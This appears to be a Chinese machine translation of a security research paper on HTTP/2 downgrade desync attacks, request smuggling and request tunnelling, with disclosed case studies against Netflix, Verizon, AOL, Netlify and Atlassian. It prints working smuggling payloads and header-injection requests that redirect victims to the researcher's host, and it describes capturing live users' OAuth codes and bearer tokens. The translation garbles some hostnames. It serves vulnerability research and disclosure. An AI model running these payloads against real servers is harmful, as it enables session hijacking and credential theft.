HTTP/2 很容易被误认为是一种传输层协议,可以在对其背后的网站安全性为零的情况下进行交换。在本文中,我将介绍由实现缺陷和 RFC 缺陷引起的多种新的 HTTP/2 专有威胁类别。我将首先展示这些缺陷如何启用 HTTP/2 独占性去同步攻击,案例研究针对由 Amazon 的应用程序负载均衡器、WAF、CDN 和大型技术定制堆栈等服务器提供支持的知名网站。这些通过劫持客户端、毒化缓存和窃取凭据来获得多个最大赏金,从而产生重大影响。在那之后,我将推出新颖的技术和工具来破解由 desync 驱动的请求隧道——一种广泛但被忽视的请求走私变体,通常被误认为是误报。最后,我将分享 HTTP/2 引入的多个新漏洞利用原语,暴露新的服务器层和应用层攻击面。这份研究论文伴随着 Black Hat USA 和 DEF CON 的一次演讲,并且很快就会在此页面上嵌入一段录音。它也可作为可打印的白皮书使用。这篇论文完全专注于技术细节 - 如果您想对研究过程有更多的了解,请查看演示文稿。当演示文稿在 2100 UTC 结束时,本文中引用的所有工具都将发布。利用 HTTP/2 的第一步是学习协议基础知识。幸运的是,要学习的东西比你想象的要少。我通过从头开始编写 HTTP/2 客户端来开始这项研究,但我得出的结论是,对于本文中描述的攻击,我们可以安全地忽略许多低级特性的细节,如帧和流。
尽管 HTTP/2 很复杂,但它旨在传输与 HTTP/1.1 相同的信息。这是两个协议中表示的等效请求。 POST /login HTTP/1.1 \r\n Host: psres.net \r\n User-Agent: burp \r\n Content-Length: 9 \r\n \r\nx=123&y=4 假设你已经熟悉 HTTP/1 后,您只需要了解三个新概念。在 HTTP/1 中,请求的第一行包含请求方法和路径。 HTTP/2 用一系列伪标头替换请求行。这五个伪头很容易识别,因为它们在名称的开头使用冒号表示: :method - 请求方法 :path - 请求路径。请注意,这包括查询字符串 :authority - 主机标头,大致 :scheme - 请求方案,通常为“http”或“https” :status - 响应状态代码 - 未在请求中使用 HTTP/1 是基于文本的协议,因此使用字符串操作解析请求。例如,服务器需要查找冒号才能知道标头名称何时结束。这种方法可能存在歧义,这使得去同步攻击成为可能。 HTTP/2 是类似于 TCP 的二进制协议,因此解析基于预定义的偏移量,并且不太容易产生歧义。本文使用人类可读的抽象而不是实际字节来表示 HTTP/2 请求。例如,在线路上,伪标头名称实际上映射到单个字节 - 它们实际上并不包含冒号。在 HTTP/1 中,每个消息体的长度通过 Content-Length 或 Transfer-Encoding 标头指示。在 HTTP/2 中,这些标头是多余的,因为每个消息正文都由具有内置长度字段的数据帧组成。这意味着消息的长度几乎没有歧义,并且可能会让您想知道如何使用 HTTP/2 进行去同步攻击。答案是 HTTP/2 降级。 HTTP/2 降级是指前端服务器与客户端通信 HTTP/2,但在将请求转发到后端服务器之前将请求重写为 HTTP/1.1。此协议转换支持一系列攻击,包括 HTTP 请求走私:
典型的请求走私漏洞主要是因为前端和后端对于是否从其内容长度 (CL) 或传输编码 (TE) 标头导出请求的长度存在分歧。根据发生这种不同步的方式,漏洞被归类为 CL.TE 或 TE.CL。前端使用 HTTP/2 几乎总是使用 HTTP/2 的内置消息长度。但是,接收降级请求的后端无权访问此数据,必须使用 CL 或 TE 标头。这导致了两种主要类型的漏洞:H2.TE 和 H2.CL。我们现在已经涵盖了足够的理论来开始探索一些真正的漏洞。为了找到这些,我在 HTTP Request Smuggler 中实现了自动检测,使用基于超时的 H1-desync 检测策略的改编版本。实施后,我用它来扫描我的带有漏洞赏金计划的网站管道。除非另有说明,否则所有引用的漏洞均已修补,并且漏洞赏金总收入的 50% 以上已捐赠给当地慈善机构。以下部分假设读者熟悉 HTTP 请求走私。如果您发现任何解释不充分,我建议您阅读或观看 HTTP Desync Attacks: Request Smuggling Reborn,并处理我们的 Web 安全学院实验室。由于 HTTP/2 的数据帧长度字段,Content-Length 标头不是必需的。但是,HTTP/2 RFC 声明该标头是允许的,前提是它是正确的。对于我们的第一个案例研究,我们将针对 www.netflix.com,该网站使用的前端执行 HTTP 降级而不验证内容长度。这启用了 H2.CL 去同步。前端将此请求降级到 HTTP/1.1 后,它会命中后端,看起来像: POST /n HTTP/1.1 Host: www.netflix.com Content-Length: 4 abcd GET /n HTTP/1.1 Host: 02.rs?x.netflix.com Foo: bar 由于内容长度不正确,后端提前停止处理请求,橙色数据被视为另一个请求的开始。这使我能够为下一个请求添加任意前缀,而不管是谁发送的。
我制作了橙色前缀来触发响应,将受害者的请求重定向到我的服务器 02.rs:GET /anything HTTP/1.1 主机:www.netflix.com HTTP/1.1 302 Found Location:https://02.rs?x .netflix.com/n 通过重定向 JavaScript 包含,我可以执行恶意 JavaScript 来破坏 Netflix 帐户,并窃取密码和信用卡号。通过循环运行这种攻击,我可以逐渐危害站点的所有活跃用户,而无需用户交互。这种严重性对于请求走私是典型的。 Netflix 通过 Zuul 将这个漏洞追溯到 Netty,现在它已被修补并跟踪为 CVE-2021-21295。 Netflix 获得了最高奖金 - 20,000 美元。一种特定于连接的头字段是传输编码。 Amazon Web Services (AWS) 的应用程序负载均衡器未能遵守这一行,并接受了包含 Transfer-Encoding 的请求。这意味着我可以通过 H2.TE 去同步来利用几乎所有使用它的网站。一个易受攻击的网站是 Verizon 的执法访问门户,位于 id.b2b.oath.com。我使用以下请求利用它:POST /identity/XUI HTTP/1.1 Host: id.b2b.oath.com Content-Length: 66 Transfer-Encoding: chunked 0 GET /oops HTTP/1.1 Host: psres.net Content-Length : 10 x= 这应该看起来很熟悉 - H2.TE 的利用与 CL.TE 非常相似。降级后,前端服务器很容易忽略的“传输编码:分块”标头优先于前端插入的内容长度。这使得后端提前停止解析请求正文,并使我们能够将任意用户重定向到我在 psres.net 上的站点。当我报告这件事时,分类人员要求提供更多证据证明我可能会造成伤害,所以我开始重定向实时用户并很快发现我在 OAuth 登录流程中抓住了人们,通过 Referer 标头泄露了他们的秘密代码:
GET /b2blanding/show/oops HTTP/1.1 Host: psres.net Referer: https://id.b2b.oath.com/?...& code=secret 我在accounts.athena上遇到了一个具有不同利用路径的类似漏洞。 aol.com - 为包括赫芬顿邮报和 Engadget 在内的各种新闻网站提供支持的 CMS。在这里,我可以再次发出一个 HTTP/2 请求,在降级后,它会命中后端并注入一个前缀,将受害者重定向到我的域:POST /account/login HTTP/1.1 Host:accounts.athena.aol。 com Content-Length: 72 Transfer-Encoding: chunked 0 GET /account/1/logout?next=https://psres.net/ HTTP/1.1 X-Ignore: X 再次,分流器想要更多证据,所以我拿了重定向一些实时用户的机会。然而,这一次,重定向用户导致对我的服务器的请求有效地表示“我可以向您发送我的凭据吗?”:OPTIONS / HTTP/1.1 主机:psres.net Access-Control-Request-Headers:授权 HTTP /1.1 200 OK Access-Control-Allow-Credentials: true Access-Control-Allow-Headers: authorization GET / HTTP/1.1 Host: psres.net Authorization: Bearer eyJhbGwiOiJIUzI1NiIsInR6cCI6Ik…这展示了一些有趣的浏览器行为,我稍后需要探索,还从 Verizon 那里又赚了 10,000 美元。我还直接向亚马逊报告了根漏洞,他们现在已经修补了 Application Load Balancer,因此他们客户的网站不再受到影响。不幸的是,他们没有适合研究的漏洞赏金计划。每个使用 Imperva 云 WAF 的网站也容易受到攻击,这延续了 Web 应用程序防火墙的悠久传统,使网站更容易被黑客入侵。由于 HTTP/1 是明文协议,因此不可能将某些解析关键字符放在某些位置。例如,您不能在标头值中放置 \r\n 序列 - 您最终只会终止标头。 HTTP/2 的二进制设计,结合它压缩标头的方式,使您能够将任意字符放在任意位置。预计服务器将通过额外的验证步骤重新施加 HTTP/1 样式的限制:
任何包含头字段值中不允许的字符的请求都必须被视为格式错误的一个易受攻击的实现是 Netlify CDN,它启用了基于它的每个网站的 H2.TE 同步攻击,包括 Firefox 的 start.mozilla.org 起始页面.我设计了一个在标头值中使用 '\r\n' 的漏洞:在降级期间,\r\n 触发了请求标头注入漏洞,引入了一个额外的标头:Transfer-Encoding: chunked POST / HTTP/1.1\r \n 主机:start.mozilla.org\r\n Foo:b \r\n 传输编码:分块\r\n 内容长度:71\r\n \r\n 0\r\n \r\ n GET / HTTP/1.1\r\n Host: evil-netlify-domain\r\n Content-Length: 5\r\n \r\nx= 这触发了 H2.TE 不同步,其前缀旨在使受害者从我自己的 Netlify 域收到恶意内容。由于 Netlify 的缓存设置,有害响应将被保存并持续提供给任何其他试图访问相同 URL 的人。实际上,我可以完全控制 Netlify CDN 上每个站点的每个页面。该奖项总共获得了 4,000 美元。 Atlassian 的 Jira 看起来也有类似的漏洞。我创建了一个简单的概念验证,旨在触发两个不同的响应 - 一个正常的响应和 robots.txt 文件。实际结果完全不同:服务器开始向我发送明确针对其他 Jira 用户的响应,包括大量敏感信息和 PII。根本原因是我在制作有效载荷时所做的一个小优化。我决定与其使用 \r\n 走私 Transfer-Encoding 标头,不如使用 double-\r\n 终止第一个请求,让我直接在标头中包含我的恶意前缀:
这种方法避免了对分块编码、消息正文和 POST 方法的需要。但是,它未能说明 HTTP 降级过程中的关键步骤 - 前端必须以 \r\n\r\n 序列终止标头。这导致它终止前缀,将其变成一个完整的独立请求:GET / HTTP/1.1 Foo: bar Host: ecology.atlassian.net GET /robots.txt HTTP/1.1 X-Ignore: x Host:生态系统.atlassian。 net \r\n \r\n 后端没有像往常一样看到 1.5 个请求,它看到了 2 个。我收到了第一个响应,但下一个用户收到了对我走私请求的响应。他们应该收到的响应然后被发送给下一个用户,依此类推。实际上,前端开始无限期地为每个用户提供对前一个用户请求的响应。更糟糕的是,其中一些包含 Set-Cookie 标头,这些标头会持续将用户登录到其他用户的帐户。部署修补程序后,Atlassian 选择全局过期所有用户会话。 @defparam 在使用 HTTP 请求走私的实际攻击中提到了这种潜在影响,但我认为普遍性被低估了。出于显而易见的原因,我没有在许多实时站点上尝试过,但据我所知,这种利用路径几乎总是可能的。因此,如果您发现请求走私漏洞并且供应商在没有更多证据的情况下不会认真对待它,那么走私两个请求应该可以为他们提供他们正在寻找的证据。使 Jira 易受攻击的前端是 PulseSecure Virtual Traffic Manager。 Atlassian 获得了 15,000 美元 - 最高奖金的三倍。除了 Netlify 和 PulseSecure Virtual Traffic Manager 之外,该技术还适用于其他一些服务器。我们与计算机应急响应小组 (CERT) 合作,发现 F5 的 Big-IP 负载平衡器也很脆弱 - 有关更多详细信息,请参阅咨询 K97045220。它还适用于 Imperva Cloud WAF。在等待 PulseSecure 的补丁期间,Atlassian 尝试了一些修补程序。第一个不允许在标头值中换行,但未能过滤标头名称。这很容易被利用,因为服务器可以容忍标头名称中的冒号——这是 HTTP/1.1 中不可能实现的:
GET / HTTP/1.1 foo : bar transfer-encoding: chunked host:生态系统.atlassian.net 最初的修补程序也没有过滤伪头,导致请求行注入漏洞。利用这些很简单,只需可视化注入发生的位置并确保生成的 HTTP/1.1 请求具有有效的请求行:GET / HTTP/1.1 transfer-encoding: chunked x: x /ignored HTTP/1.1 Host: eco.atlassian .net 修补程序中的最后一个缺陷是阻止 '\r\n' 而不是 '\n' 本身的经典错误 - 后者几乎总是足以被利用。接下来,让我们来看看一些不那么浮华、不那么明显但仍然危险的东西。在这项研究中,我注意到 desync 漏洞的一个子类由于缺乏如何确认和利用它的知识而在很大程度上被忽视。在本节中,我将探讨其背后的理论,然后解决这些问题。每当前端收到请求时,它必须决定是通过现有连接将其路由到后端,还是建立到后端的新连接。前端采用的连接重用策略可以对您可以成功发起哪些攻击产生重大影响。大多数前端很乐意通过任何连接发送任何请求,从而实现我们已经看到的跨用户攻击。但是,有时,您会发现您的前缀只会影响来自您自己 IP 的请求。发生这种情况是因为前端为每个客户端 IP 使用与后端的单独连接。这有点麻烦,但您通常可以通过缓存中毒间接攻击其他用户来解决它。其他一些前端在来自客户端的连接和到后端的连接之间强制执行一对一的关系。这是一个更严格的限制,但常规缓存中毒和内部标头泄漏技术仍然适用。当前端选择从不重用与后端的连接时,生活就会变得非常具有挑战性。发送直接影响后续请求的请求是不可能的:
这留下了一个漏洞利用原语:请求隧道。该原语也可能来自其他方式,如 H2C 走私,但本节将重点介绍由去同步驱动的隧道。检测请求隧道很容易 - 通常的超时技术工作正常。第一个真正的挑战是确认漏洞 - 您可以通过发送一系列请求并查看早期请求是否影响后期请求来确认常规请求走私漏洞。不幸的是,这种技术总是无法确认请求隧道,因此很容易将漏洞误认为是误报。我们需要一种新的确认技术。一个明显的方法是简单地走私一个完整的请求,看看你是否得到两个响应: POST / HTTP/1.1 Host: example.com Transfer-Encoding: chunked 0 GET / HTTP/1.1 Host: example.com HTTP/1.1 301 Moved Permanently内容长度:162 位置:/en <html><head><title>301 已移动... HTTP/1.1 301 已永久移动 内容-长度:162... 不幸的是,此处显示的响应实际上并未告诉我们该服务器存在漏洞!连接多个响应正是 HTTP/1.1 keep-alive 的工作原理,所以我们不知道前端是否认为它正在向我们发送一个响应(并且容易受到攻击)或两个(并且是安全的)。幸运的是,HTTP/2 巧妙地为我们解决了这个问题。如果您在 HTTP/2 响应正文中看到 HTTP/1 标头,则您刚刚发现自己不同步:由于第二个问题,这种方法并不总是有效。前端服务器通常使用后端响应上的 Content-Length 来决定从套接字读取多少字节。这意味着即使您可以向后端发出两个请求,并从它触发两个响应,前端只会传递第一个不太有趣的响应在下面的示例中,由于突出显示的 Content-Length,以橙色显示的 403 响应永远不会传递给用户:POST /images/tiny.png HTTP/1.1 Transfer-Encoding: chunked 0 POST / HTTP/1.1 ... HTTP/1.1 200 OK Content-Length: 7 content HTTP/1.1 403 ...有时,坚持可以代替洞察力。 Bitbucket 很容易被盲隧道攻击,经过四个多月的反复努力,我侥幸找到了解决方案。端点返回的响应如此之大,以至于 Burp Repeater 略微滞后,所以我决定通过将我的方法从 POST 切换到 HEAD 来缩短它。这有效地要求服务器返回响应标头,但省略响应正文:
HEAD /images/tiny.png HTTP/1.1 Transfer-Encoding: chunked 0 POST / HTTP/1.1 ... 果然,这导致后端只提供响应标头...包括 Content-Length 标头的未交付的身体!这使得前端过度读取并提供对第二个走私请求的部分响应:HTTP/1.1 200 OK Content-Length: 7 HTTP/1。 1 403 ...因此,如果您怀疑存在盲请求隧道漏洞,请尝试 HEAD,看看会发生什么。由于套接字读取的时间敏感特性,它可能需要几次尝试,并且您会发现读取快速提供的走私响应更容易。这意味着走私无效请求更适合检测目的: HEAD / HTTP/1.1 Transfer-Encoding: chunked 0 HAX 走私无效请求也会使后端关闭连接,避免意外响应队列中毒的可能性。注意,如果目标只是脆弱......